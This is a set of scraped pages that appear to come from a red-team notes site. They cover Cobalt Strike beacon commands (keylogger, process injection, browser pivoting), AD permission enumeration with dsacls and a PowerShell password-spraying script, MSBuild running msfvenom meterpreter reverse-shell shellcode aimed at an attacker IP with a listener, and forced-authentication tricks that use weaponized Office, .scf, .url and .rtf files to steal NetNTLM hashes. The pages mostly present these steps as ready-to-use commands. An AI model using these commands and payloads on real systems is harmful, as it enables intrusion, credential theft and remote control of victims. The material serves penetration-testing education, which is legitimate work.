![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVe7nLVoH8BOhlPzZg6%252F-LVeEiPzItd-5gnk4Nk8%252FScreenshot%2520from%25202019-01-07%252021-33-54.png%3Falt%3Dmedia%26token%3D39efedde-552c-45bb-bd0e-06da46066480&width=768&dpr=3&quality=100&sign=44e8ed23&sv=2) The story changes if the attacker starts proxying his web traffic through the victim proxy `10.0.0.5:33912`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVe7nLVoH8BOhlPzZg6%252F-LVeElowN_sNm3icObi4%252FPeek%25202019-01-07%252021-36.gif%3Falt%3Dmedia%26token%3D03ddc4e7-aa4b-49a5-b3ce-aca872262a3c&width=768&dpr=3&quality=100&sign=94ae0e02&sv=2) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#system-profiler) System Profiler A nice feature that profiles potential victims by gathering information on what software / plugins victim system has installed: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVeIEgOkX8MZihx7rxD%252F-LVeIX1ild0CLK1SOvF7%252FScreenshot%2520from%25202019-01-07%252021-52-32.png%3Falt%3Dmedia%26token%3D8bfd87c1-fbd7-409d-b043-8784e6d4576d&width=768&dpr=3&quality=100&sign=5c13bbd0&sv=2) Once the the profilder URL is visited, findings are presented in the Application view: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVeIEgOkX8MZihx7rxD%252F-LVeIc4rnL3lz2uU7Ap0%252FScreenshot%2520from%25202019-01-07%252021-52-58.png%3Falt%3Dmedia%26token%3D95cfe8b7-a0b4-4304-aa45-df05f8daa575&width=768&dpr=3&quality=100&sign=70039cc2&sv=2) Event logs will show how many times the profiler has been used by victims: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVeIEgOkX8MZihx7rxD%252F-LVeI_nKsWAWy91yDFOq%252FScreenshot%2520from%25202019-01-07%252021-52-50.png%3Falt%3Dmedia%26token%3D45cff1d1-227c-44af-b773-7e43ae4e0f65&width=768&dpr=3&quality=100&sign=2d690063&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#references) References ------------------------------------------------------------------------------------------------------------------------------------------------------- [https://www.cobaltstrike.com/downloads/csmanual313.pdf](https://www.cobaltstrike.com/downloads/csmanual313.pdf) [PreviousAutomating Red Team Infrastructure with Terraform](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform) [NextPowershell Empire 101](https://www.ired.team/offensive-security/red-team-infrastructure/powershell-empire-101) Last updated 7 years ago * [Definitions](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#definitions) * [Getting Started](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#getting-started) * [Team Server](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#team-server) * [Cobalt Strike Client](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#cobalt-strike-client) * [Demo](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#demo) * [Setting Up Listener](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#setting-up-listener) * [Generating a Stageless Payload](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#generating-a-stageless-payload) * [Receiving First Call Back](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#receiving-first-call-back) * [Interacting with Beacon](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#interacting-with-beacon) * [Interesting Commands & Features](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#interesting-commands-and-features) * [Argue](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#argue) * [Inject](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#inject) * [Keylogger](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#keylogger) * [Screenshot](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#screenshot) * [Runu](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#runu) * [Psinject](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#psinject) * [Spawnu](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#spawnu) * [Browser Pivoting](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#browser-pivoting) * [System Profiler](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#system-profiler) * [References](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#references) attacker@kali Copy root@/opt/cobaltstrike# ./cobaltstrike attacker@cs Copy beacon> argue calc /spoofed beacon> run calc attacker@cs Copy beacon> help inject Use: inject [pid] [listener] inject 776 x64 httplistener attacker@cs Copy beacon> keylogger 1736 x64 attacker@cs Copy beacon> screenshot 1736 x64 attacker@cs Copy runu 2316 calc attacker@cs Copy beacon> psinject 2872 x64 get-childitem c:\ attacker@cs Copy beacon> spawnu 3848 httplistener attacker@cs Copy beacon> browserpivot 244 x86 --- # Enumerating AD Object Permissions with dsacls | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions.md) . It is possible to use a native windows binary (in addition to powershell cmdlet `Get-Acl`) to enumerate Active Directory object security persmissions. The binary of interest is `dsacls.exe`. Dsacls allows us to display or modify permissions (ACLS) of an Active Directory Domain Services (AD DS). [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#execution) Execution ------------------------------------------------------------------------------------------------------------------------------------------------------------- Let's check if user `spot` has any special permissions against user's `spotless` AD object: attacker@victim Copy dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "spot" Nothing useful: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaN6wk26w8-pirzGMzG%252F-LaN7itzG7az7P-wRr6s%252FScreenshot%2520from%25202019-03-19%252022-46-47.png%3Falt%3Dmedia%26token%3Dd28175a1-4438-4de6-afb0-d9fdfcfd153e&width=768&dpr=3&quality=100&sign=7ba1c467&sv=2) Let's give user spot `Reset Password` and `Change Password` permissions on `spotless` AD object: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaN6wk26w8-pirzGMzG%252F-LaN7_JUpqnM0gcxouwl%252FScreenshot%2520from%25202019-03-19%252022-46-04.png%3Falt%3Dmedia%26token%3D615d59ba-3ae1-49d1-859c-770808194ef5&width=768&dpr=3&quality=100&sign=8a4c6347&sv=2) ...and try the command again: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaN6wk26w8-pirzGMzG%252F-LaN7R50_E37uFhKaILH%252FScreenshot%2520from%25202019-03-19%252022-44-21.png%3Falt%3Dmedia%26token%3D666696f1-1eca-4ea1-92e4-d28dd7c0913b&width=768&dpr=3&quality=100&sign=462b3040&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#full-control) Full Control All well known (and abusable) AD object permissions should be sought here. One of them is `FULL CONTROL`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaN6wk26w8-pirzGMzG%252F-LaN9WENW2egvrpo8X9K%252FScreenshot%2520from%25202019-03-19%252022-54-36.png%3Falt%3Dmedia%26token%3Ddd9ac801-e954-448b-925b-952dc62940af&width=768&dpr=3&quality=100&sign=8aa09480&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#add-remove-self-as-member) Add/Remove self as member ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaN6wk26w8-pirzGMzG%252F-LaNAHL_wSGsVIE5kfa3%252FScreenshot%2520from%25202019-03-19%252022-57-50.png%3Falt%3Dmedia%26token%3D51eb75b9-e7a9-4755-8752-b9ac7ffa903a&width=768&dpr=3&quality=100&sign=d0a3d749&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#writeproperty-changeownership) WriteProperty/ChangeOwnerShip ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaN6wk26w8-pirzGMzG%252F-LaNAksNf4H3bPs9BT0t%252FScreenshot%2520from%25202019-03-19%252023-00-04.png%3Falt%3Dmedia%26token%3D7ed0d8ad-50f7-4191-bc2e-094f48ba6abe&width=768&dpr=3&quality=100&sign=bcf97cb6&sv=2) Enumerating AD object permissions this way does not come in a nice format that can be piped between powershell cmd-lets, but it's still something to keep in mind if you do not the ability to use tools like powerview or ActiveDirectory powershell cmdlets or if you are trying to `LOL`. For more good privileges to be abused: [Privileged Accounts and Token Privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) [Abusing Active Directory ACLs/ACEs](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone) Password Spraying Anyone? -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- As a side note, the `dsacls` binary could be used to do LDAP password spraying as it allows us to bind to an LDAP session with a specified username and password: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaN6wk26w8-pirzGMzG%252F-LaNCrJyr0IcdJ09FfvC%252FScreenshot%2520from%25202019-03-19%252023-09-12.png%3Falt%3Dmedia%26token%3D083b2f47-b419-47ab-96bd-a7abae23264a&width=768&dpr=3&quality=100&sign=f363bad2&sv=2) Logon Failure ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaN6wk26w8-pirzGMzG%252F-LaND3ClUvQm32WwdWmL%252FScreenshot%2520from%25202019-03-19%252023-09-59.png%3Falt%3Dmedia%26token%3D1f5957dc-f276-423d-bb6f-7dcd4ad11534&width=768&dpr=3&quality=100&sign=8f2f5146&sv=2) Logon Successful ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#dirty-poc-idea-for-password-spraying) Dirty POC idea for Password Spraying: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaNKkYmPfGSF80_tQUx%252F-LaNQokIjU3XkqUj39tP%252FScreenshot%2520from%25202019-03-20%252000-10-10.png%3Falt%3Dmedia%26token%3D623bc176-aebd-4293-b12a-c01ff6d0724d&width=768&dpr=3&quality=100&sign=a5b27e04&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#references) References --------------------------------------------------------------------------------------------------------------------------------------------------------------- [https://support.microsoft.com/en-gb/help/281146/how-to-use-dsacls-exe-in-windows-server-2003-and-windows-2000support.microsoft.com](https://support.microsoft.com/en-gb/help/281146/how-to-use-dsacls-exe-in-windows-server-2003-and-windows-2000) [PreviousActive Directory Enumeration with AD Module without RSAT or Admin Privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges) [NextActive Directory Password Spraying](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#execution) * [Full Control](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#full-control) * [Add/Remove self as member](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#add-remove-self-as-member) * [WriteProperty/ChangeOwnerShip](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#writeproperty-changeownership) * [Password Spraying Anyone?](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone) * [Dirty POC idea for Password Spraying:](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#dirty-poc-idea-for-password-spraying) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#references) attacker@victim Copy dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "spot" attacker@victim Copy dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "full control" attacker@victim Copy dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" | select-string "spotless" incorrect logon Copy dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:spotless@offense.local /passwd:1234567 correct logon Copy dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:spotless@offense.local /passwd:123456 attacker@victim Copy $domain = ((cmd /c set u)[-3] -split "=")[-1] $pdc = ((nltest.exe /dcname:$domain) -split "\\\\")[1] $lockoutBadPwdCount = ((net accounts /domain)[7] -split ":" -replace " ","")[1] $password = "123456" # (Get-Content users.txt) "krbtgt","spotless" | % { $badPwdCount = Get-ADObject -SearchBase "cn=$_,cn=users,dc=$domain,dc=local" -Filter * -Properties badpwdcount -Server $pdc | Select-Object -ExpandProperty badpwdcount if ($badPwdCount -lt $lockoutBadPwdCount - 3) { $isInvalid = dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:$_@offense.local /passwd:$password | select-string -pattern "Invalid Credentials" if ($isInvalid -match "Invalid") { Write-Host "[-] Invalid Credentials for $_ : $password" -foreground red } else { Write-Host "[+] Working Credentials for $_ : $password" -foreground green } } } --- # Using MSBuild to Execute Shellcode in C# | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c.md) . It's possible to use a native windows binary MSBuild.exe to compile and execute inline C# code stored in an xml as discovered by [Casey Smith](https://twitter.com/subTee) . [](https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c#execution) Execution ---------------------------------------------------------------------------------------------------------------------------- Generate meterpreter shellode in c#: attacker@kali Copy msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f csharp ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LbdtHN2SuDKgSnn9ehL%252F-LbduVJDrfRCCGKEcWuV%252FScreenshot%2520from%25202019-04-04%252020-53-21.png%3Falt%3Dmedia%26token%3D10c925be-fc41-4233-a2b9-697968046f86&width=768&dpr=3&quality=100&sign=514b4967&sv=2) Insert shellcode into the shellcode variable in linne 46: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LbdtHN2SuDKgSnn9ehL%252F-LbdufQ1oTcTIYAkZKAv%252FScreenshot%2520from%25202019-04-04%252020-54-14.png%3Falt%3Dmedia%26token%3D85fe682f-c893-41e8-b86f-1fce2e54fe31&width=768&dpr=3&quality=100&sign=9dace301&sv=2) Spin up a handler in metasploit to catch your shell: Build and execute malicious payload on the victim system using MSBuild: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LbdtHN2SuDKgSnn9ehL%252F-LbdvOdWap7ZLXXIH0ZJ%252FPeek%25202019-04-04%252020-57.gif%3Falt%3Dmedia%26token%3D40330c47-89cf-48ac-8b1f-99dec494b085&width=768&dpr=3&quality=100&sign=e0880437&sv=2) [](https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c#observation) Observation -------------------------------------------------------------------------------------------------------------------------------- Note that it's MSBuild.exe that will make the TCP connection to the attacker, so as a defender, you should think about hunting for TCP connections initiated by MSBuild. [](https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c#references) References ------------------------------------------------------------------------------------------------------------------------------ [https://gist.github.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17](https://gist.github.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17) [PreviousInstallUtil](https://www.ired.team/offensive-security/code-execution/t1118-installutil) [NextForfiles Indirect Command Execution](https://www.ired.team/offensive-security/code-execution/t1202-forfiles-indirect-command-execution) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c#execution) * [Observation](https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c#observation) * [References](https://www.ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c#references) bad.xml Copy attacker@kali Copy msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/meterpreter/reverse_tcp; exploit" attacker@victim Copy C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\bad\bad.xml --- # Forced Authentication | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication.md) . [](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-hyperlink) Execution via Hyperlink -------------------------------------------------------------------------------------------------------------------------------------------- Let's create a Word document that has a hyperlink to our attacking server where `responder` will be listening on port 445: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKCAKJidobdxoxL_0-7%252F-LKC4fAdfKEX0Kd4zlgf%252Fforced-auth-word.png%3Falt%3Dmedia%26token%3D56a8a1a8-8905-49ee-8414-e4baa5835b38&width=768&dpr=3&quality=100&sign=60db59ad&sv=2) 12KB [Totes not a scam.docx](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKCBMz_bmmh8TjyBMWI%2F-LKCBShcRBkX-C8wHDqk%2FTotes%20not%20a%20scam.docx?alt=media&token=6d530fd8-db09-472a-841b-f5b3570d1216) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKCBMz_bmmh8TjyBMWI%2F-LKCBShcRBkX-C8wHDqk%2FTotes%20not%20a%20scam.docx?alt=media&token=6d530fd8-db09-472a-841b-f5b3570d1216) Forced SMBv2 Authentication - MS Word File Let's start `Responder` on our kali box: Once the link in the document is clicked, the target system sends an authentication request to the attacking host. Since responder is listening on the other end, victim's `NetNTLMv2` hash is captured: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKCAKJidobdxoxL_0-7%252F-LKC95OKwWvm9FWiXc6e%252Fforced-auth-hashes.png%3Falt%3Dmedia%26token%3D771cfa33-9f02-439f-940f-3d0948c9f091&width=768&dpr=3&quality=100&sign=347b867&sv=2) The retrieved hash can then be cracked offline with hashcat: Success, the password is cracked: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKCAKJidobdxoxL_0-7%252F-LKCA3c5a-MzMOTuxx3q%252Fforced-auth-cracked.png%3Falt%3Dmedia%26token%3Ddd0c439f-c26f-4778-94f6-23f5831ea7ec&width=768&dpr=3&quality=100&sign=d00cec9d&sv=2) Using the cracked passsword to get a shell on the victim system: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKCAKJidobdxoxL_0-7%252F-LKCAGEuBq07bj27tGIx%252Fforced-auth-shell.png%3Falt%3Dmedia%26token%3Db0137356-fd9d-4e0f-a046-2671df309fb9&width=768&dpr=3&quality=100&sign=49e6ed28&sv=2) [](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-.scf) Execution via .SCF ---------------------------------------------------------------------------------------------------------------------------------- Place the below `fa.scf` file on the attacker controlled machine at `10.0.0.7` in a shared folder `tools` 94B [@fa.scf](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKCb8ii9Ps9k77ApNJN%2F-LKCbD5PDxdhLsU3TlEt%2F%40fa.scf?alt=media&token=7946b8c6-4a87-4d0b-beed-0a1c00db1f76) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKCb8ii9Ps9k77ApNJN%2F-LKCbD5PDxdhLsU3TlEt%2F%40fa.scf?alt=media&token=7946b8c6-4a87-4d0b-beed-0a1c00db1f76) fa.scf A victim user `low` opens the share `\\10.0.0.7\tools` and the `fa.scf` gets executed automatically, which in turn forces the victim system to attempt to authenticate to the attacking system at 10.0.0.5 where responder is listening: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKCWbiypNbsZ3LLIbj3%252F-LKCXuht57709Z3aInGZ%252Fforced-auth-shares.png%3Falt%3Dmedia%26token%3Dc95661a8-528c-4927-8163-bce7a6d09ae1&width=768&dpr=3&quality=100&sign=1c086465&sv=2) victim opens \\\\10.0.0.7\\tools, fa.scf executes and gives away low's hashes ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKCWbiypNbsZ3LLIbj3%252F-LKCXuhrcaEw8YDKnwq7%252Fforced-auth-scf.png%3Falt%3Dmedia%26token%3D9256541a-e06e-4e00-8ba6-5e9a5ed9b82a&width=768&dpr=3&quality=100&sign=a26320e4&sv=2) user's low hashes were received by the attacker What's interesting with the `.scf` attack is that the file could easily be downloaded through the browser and as soon as the user navigates to the `Downloads` folder, users's hash is stolen: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKCaFWG1wRaLICda4BJ%252F-LKCa57wIu4idO3s7xlW%252Fforced-auth-downloads.png%3Falt%3Dmedia%26token%3Da9bded2b-6c60-424a-88c7-8b3a148c988b&width=768&dpr=3&quality=100&sign=6d92873e&sv=2) [](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-.url) Execution via .URL ---------------------------------------------------------------------------------------------------------------------------------- Create a weaponized .url file and upload it to the victim system: Create a listener on the attacking system: Once the victim navigates to the C:\\ where `link.url` file is placed, the OS tries to authenticate to the attacker's malicious SMB listener on `10.0.0.5` where NetNTLMv2 hash is captured: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNBag_nxT92_UEIeHF6%252F-LNBbbi9QbPgnEV975AY%252Fforced-authentication-url.gif%3Falt%3Dmedia%26token%3D86743379-a2f6-4353-ae1b-f008bd065163&width=768&dpr=3&quality=100&sign=f75ae21a&sv=2) [](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-.rtf) Execution via .RTF ---------------------------------------------------------------------------------------------------------------------------------- Weaponizing .rtf file, which will attempt to load an image from the attacking system: Starting authentication listener on the attacking system: Executing the file.rtf on the victim system gives away user's hashes: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LPm-TrX68odFOLvBw6q%252F-LPlz_8cJxxMBbpLeGSk%252Frtf-hashes.gif%3Falt%3Dmedia%26token%3D698628cf-448c-465b-ac42-2adf6f0fbec9&width=768&dpr=3&quality=100&sign=78645406&sv=2) [](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-.xml) Execution via .XML ---------------------------------------------------------------------------------------------------------------------------------- MS Word Documents can be saved as .xml: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTIlHXY1_59Aa8z2oVJ%252F-LTIqx0t4SlhDJDdnp9H%252FScreenshot%2520from%25202018-12-09%252016-23-39.png%3Falt%3Dmedia%26token%3Def2c5a56-6176-4113-a89c-8c462b9c5e56&width=768&dpr=3&quality=100&sign=9423ced1&sv=2) This can be exploited by including a tag that requests the document stylesheet (line 3) from an attacker controlled server. The victim system will share its NetNTLM hashes with the attacker when attempting to authenticate to the attacker's system: Below is the attack illustrated: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LTIlHXY1_59Aa8z2oVJ%252F-LTIqn7U-sNTvcz6Uq_1%252FPeek%25202018-12-09%252016-44.gif%3Falt%3Dmedia%26token%3D25652c78-0937-4613-92c2-2e57f544a422&width=768&dpr=3&quality=100&sign=bb632fa&sv=2) 466B [test-xls-stylesheet.xml](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LTIlHXY1_59Aa8z2oVJ%2F-LTIs3l6GF3Nvkmpiau1%2Ftest-xls-stylesheet.xml?alt=media&token=97862e88-3d5a-4418-be40-2331140508bc) 